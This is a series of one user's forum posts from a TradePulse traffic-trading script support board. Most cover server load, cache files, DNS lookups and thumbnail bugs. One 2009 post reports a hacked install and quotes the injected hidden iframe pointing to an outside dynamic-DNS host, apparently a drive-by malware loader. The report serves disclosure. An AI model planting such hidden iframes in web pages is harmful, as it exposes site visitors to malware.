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Trade Pulse Support / Re: Minimize TP load?

« on: February 04, 2010, 04:23:05 PM »

Hi Killdozer,

1.
From our host it doesn't seem like it was them you talked with, but I'm afraid they were not impressed with the solution you mentioned first:
"The solution presented to put everything into a ramdisk is a very poor solution -- your stats/data would be completely lost any time the server restarted and it would take a great deal of RAM for all of the sites you are running TradePulse on"

As I stated before we run it on a lot of sites on this server with Tradepulse installed on each one, probaly around 80-90, this is maybe just too many for a single server?

2.
We have a problem with some stats showing the exact number for both last 60 minuttes traffic, and last 24 hours.
I see on this sites the cache directories in domain.com/htdocs/tp/data/logs/ is gone.
Is this something Tradepulse could have done, and do you think that is the reason for the stats not being correct?

What would you think is the solution to get the stats up and running again, reinstall?

Thanks!

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Trade Pulse Support / Re: show us your specialized out settings

« on: February 01, 2010, 12:35:51 PM »

Same as your settings, except that proxy goes to send as usual.

Also, the ones you have going to an external url all go to content.
Reasoning is that I don't want to potentially mess with search engine spiders.

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Trade Pulse Support / Re: Minimize TP load?

« on: February 01, 2010, 12:27:04 PM »

I would also like to add, that resolving support issues through this forum instead of over icq would probably greatly enhance the functionality of this forum.

Whenever I have an issue with a TP installation, and want to see if other have experienced something similar, the support threads often end with "please icq killdoozer" without any clue as to what fixed the problem.

By providing the solutions to these problems you could probably decrease the number of support threads as well.

Just my 2 cents.

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Trade Pulse Support / Re: Minimize TP load?

« on: January 31, 2010, 10:24:10 AM »

This wasn't really resolved, and we're waiting on Killdozer to look at things again.

This is what our host writes about the
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 I'm really not sure what the cache directory is for, but it's the cause of a great deal of disk activity which is why I asked if it's safe to have a shared cache directory (a question you need to ask the TradePulse people). It does seem like TradePulse is meant to have one install per server, not per domain, which may be part of the problem here. Unfortunately we do not have much experience with the software and it's encoded which blocks most of our attempts to examine it.
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The cache directory we're talking about is:
/tp/data/logs/cache

We have around 30-40 tradepulse installs on one server, and over 100 on another (not using thumb grabbing, just text toplists on the 100+ one)

Our hosts also writes this:
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Besides the disk IO issues it seems that TradePulse is occasionally making HTTP requests to a third party server that is fairly slow.
 While doing this, the script consumes 99% CPU and causes other processes to back up causing the overload condition. I've located an auto-update setting in TradePulse which I have disabled, I have not yet been able to determine if this was the cause of the spikes.
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I'm not sure but I'm thinking this might be the thumb grabber?

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Trade Pulse Support / Minimize TP load?

« on: December 08, 2009, 02:03:15 AM »

We have several TP installations on same server, and it seems we've reached the maximum capacity as TP creates a huge amount of files on our server and other scale problems.

Here are some snippets from host support:

" I'm working on clearing out a few large cache directories (1 million+ files), as well as putting a proxying/caching server in front of a few of your high-traffic sites. We'll get things back up as quickly as we can, but unfortunately *sitename.com* is receiving more traffic than *server* can currently handle."

" We've alleviated a lot of the disk problems on *server*, now we're seeing a great deal of load from your TradePulse script performing DNS queries for every single hit. This is causing Apache processes to back up and crashing the system."

"The problems are two-fold though.  The first is memory consumption by Apache due to the size the tradepulse scripts grow to.  The second are the huge amount of "cache" files tradepulse is creating on disk - thus pegging disk I/O right now."

I wanted to know if it is possible to limit or minimize the cache creating, and also know what can be done about the DNS queries? Are there any TP settings we can tweak?
We want to continue using TP as it's a great program for our needs, so hopefully we can come up with a solution.

Thank you!

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Trade Pulse Support / Re: Strange email notifications

« on: November 03, 2009, 11:14:31 AM »

Oh yes, I'm aware of that.

The thing is I don't own/run/installed scripts on these domains?

socks72.com
proxyjudge1.proxyfire.net
+others

I don't see the domains in my license overview on scriptpulse.com, so doesn't look like an account hack or anything.

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Trade Pulse Support / Strange email notifications

« on: November 03, 2009, 08:20:00 AM »

I'm beginning to get some strange email notifications from domains/sites I did not install TP on.

Here's an example:

if you got a minute please check your TradePulse @ socks72.com
your productivity falled at 50%
you might want to check whats the reason for it

Server time: Oct 28'09, 11:05

Another one:

if you got a minute please check your TradePulse @ proxyjudge1.proxyfire.net
your productivity falled at 50%
you might want to check whats the reason for it

Server time: Nov 2'09, 11:16

What would cause this? Should I be worried?

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Trade Pulse Support / Re: TradePulse install hacked

« on: September 07, 2009, 01:59:54 AM »

This shit is loading on scriptpulse.com:

Code: [Select]

<iframe src="http://aakorolkov.kicks-ass.net:8080/ts/in.cgi?open3" width=765 height=0 style="visibility: hidden"></iframe>

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Trade Pulse Support / TradePulse install hacked

« on: September 07, 2009, 01:56:56 AM »

The tradepulse install program is adding a iframe from something funky.

When you make new license codes you see it in the source all the way at the bottom.

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Trade Pulse Feature Requests / Random thumb toplist

« on: August 17, 2009, 01:14:25 AM »

No matter what kind of setting I choose to display my thumb image toplists, there are always certain trades that dominate.

It would be cool if it was possible to just have the toplist output/filter be totally random, so you can also get smaller trades to be showcased once in awhile.

A random option in the "Sorted by" filter, would certainly be something I could use, and I hope you guys would find it usefull as well.

Thanks!

David

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Trade Pulse Bug Reports / Thumbnail grabber bug

« on: August 02, 2009, 02:42:38 AM »

Following up on this thread I made in the other section: http://forum.scriptpulse.com/index.php/topic,537.0.html

Didn't get a reply through email, so after some extensive analyzing I found that it's most likely a filename problem with the thumbs.

TradePulse seems to ignore/error thumbs with capital letters in the filenames - or perhaps a mix of small/large letters.
Our script creates thumbfilenames with a mix of small/large letters, and everytime a large letter is present in the filename TradePulse ignores that thumb.

Can you confirm this, and if so, do you think you'll release a patch/upgrade?

Thanks,
David

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Trade Pulse Support / Re: Thumbs grabber problem

« on: July 29, 2009, 03:37:53 AM »

Hmm, I just found something strange.

It won't grab any images of this size 320x240, but it will grab images of size 320x239
Exactly the same html, but just one pixel smaller in height?

The output size is still 150x122

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Trade Pulse Support / Thumbs grabber problem

« on: July 29, 2009, 02:54:25 AM »

I have a problem with the thumbs grabber.

It picks the thumbs from the external sites toplist NOT the actual video preview thumbs of the site..

The vid thumbs are 200x150 - the toplists are 150x122 - if I set the Minimal thumbs sizes to 200x150 it still picks the 150x122...

Is there a way to prepare the video thumbs of the external site to be grabbed by tradepulse?

I run the external sites as well, so no problem in specifying exact values so the thumbs grabber actually grab the correct thumbs.

Thanks!

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Trade Pulse Support / Non-adult skim?

« on: July 28, 2009, 11:01:27 AM »

Hi, I was wondering if tradepulse free version is possible to use on non-porn sites.

When I install, I have the option to choose nonadult niche - where is the 1% skim going on such a site?

Hopefully not to porn sites

Thanks!